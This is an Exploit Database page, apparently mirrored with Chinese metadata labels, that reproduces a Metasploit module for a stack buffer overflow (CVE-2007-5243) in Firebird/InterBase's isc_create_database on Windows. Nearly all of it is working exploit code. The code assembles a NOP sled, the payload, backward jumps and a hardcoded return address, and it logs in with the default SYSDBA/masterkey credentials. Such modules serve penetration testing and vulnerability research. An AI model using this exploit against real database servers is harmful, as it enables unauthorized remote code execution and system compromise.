Firebird Relational Database – ‘isc_create_database()’ Remote Buffer Overflow (Metasploit)

• Exploit Database
• 9 阅读

• 作者： Metasploit
  日期： 2010-07-03
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16432/

• ##
  # $Id: fb_isc_create_database.rb 9669 2010-07-03 03:13:45Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = AverageRanking
  
  	include Msf::Exploit::Remote::Tcp
  	include Msf::Exploit::Remote::BruteTargets
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name'		=> 'Firebird Relational Database isc_create_database() Buffer Overflow',
  			'Description'	=> %q{
  					This module exploits a stack buffer overflow in Borland InterBase
  				by sending a specially crafted create request.
  			},
  			'Version'	=> '$Revision: 9669 $',
  			'Author'	=>
  				[
  					'ramon',
  					'Adriano Lima <adriano@risesecurity.org>',
  				],
  			'Arch'		=> ARCH_X86,
  			'Platform'	=> 'win',
  			'References'	=>
  				[
  					[ 'CVE', '2007-5243' ],
  					[ 'OSVDB', '38606' ],
  					[ 'BID', '25917' ],
  					[ 'URL', 'http://www.risesecurity.org/advisories/RISE-2007002.txt' ],
  				],
  			'Privileged'	=> true,
  			'License'	=> MSF_LICENSE,
  			'Payload'	=>
  				{
  					'Space' => 512,
  					'BadChars' => "\x00\x2f\x3a\x40\x5c",
  					'StackAdjustment' => -3500,
  				},
  			'Targets'	=>
  				[
  					[ 'Brute Force', { } ],
  					# '\Device\HarddiskVolume1\WINDOWS\system32\unicode.nls'
  					[
  						'Firebird WI-V2.0.0.12748 WI-V2.0.1.12855 (unicode.nls)',
  						{ 'Length' => [ 756 ], 'Ret' => 0x00370b0b }
  					],
  					# Debug
  					[
  						'Debug',
  						{ 'Length' => [ 756 ], 'Ret' => 0xaabbccdd }
  					],
  				],
  			'DefaultTarget'	=> 1,
  			'DisclosureDate'=> 'Oct 03 2007'
  		))
  
  		register_options(
  			[
  				Opt::RPORT(3050)
  			], self.class)
  	end
  
  	# Create database parameter block
  	def dpb_create
  		isc_dpb_user_name = 28
  		isc_dpb_password = 29
  
  		isc_dpb_version1 = 1
  
  		user = 'SYSDBA'
  		pass = 'masterkey'
  
  		dpb = ''
  
  		dpb << [isc_dpb_version1].pack('c')
  
  		dpb << [isc_dpb_user_name].pack('c')
  		dpb << [user.length].pack('c')
  		dpb << user
  
  		dpb << [isc_dpb_password].pack('c')
  		dpb << [pass.length].pack('c')
  		dpb << pass
  
  		dpb
  	end
  
  	# Calculate buffer padding
  	def buf_padding(length = '')
  		remainder = length.remainder(4)
  		padding = 0
  
  		if remainder > 0
  			padding = (4 - remainder)
  		end
  
  		padding
  	end
  
  	def exploit_target(target)
  
  		target['Length'].each do |length|
  
  			connect
  
  			# Create database
  			op_create = 20
  
  			# Extra padding to trigger the exception
  			extra_padding = 1024 * 16
  
  			buf = ''
  
  			# Operation/packet type
  			buf << [op_create].pack('N')
  
  			# Id
  			buf << [0].pack('N')
  
  			# Length
  			buf << [length + extra_padding].pack('N')
  
  			# Nop block
  			buf << make_nops(length - payload.encoded.length - 13)
  
  			# Payload
  			buf << payload.encoded
  
  			# Jump back into the nop block
  			buf << "\xe9" + [-516].pack('V')
  
  			# Jump back
  			buf << "\xeb" + [-7].pack('c')
  
  			# Random alpha data
  			buf << rand_text_alpha(2)
  
  			# Target
  			buf << [target.ret].pack('V')
  
  			# Random alpha data
  			buf << rand_text_alpha(extra_padding)
  
  			# Padding
  			buf << "\x00" * buf_padding(length + extra_padding)
  
  			# Database parameter block
  
  			# Create database parameter block
  			dpb = dpb_create
  
  			# Database parameter block length
  			buf << [dpb.length].pack('N')
  
  			# Database parameter block
  			buf << dpb
  
  			# Padding
  			buf << "\x00" * buf_padding(dpb.length)
  
  			sock.put(buf)
  
  			select(nil,nil,nil,4)
  
  			handler
  
  		end
  
  	end
  
  end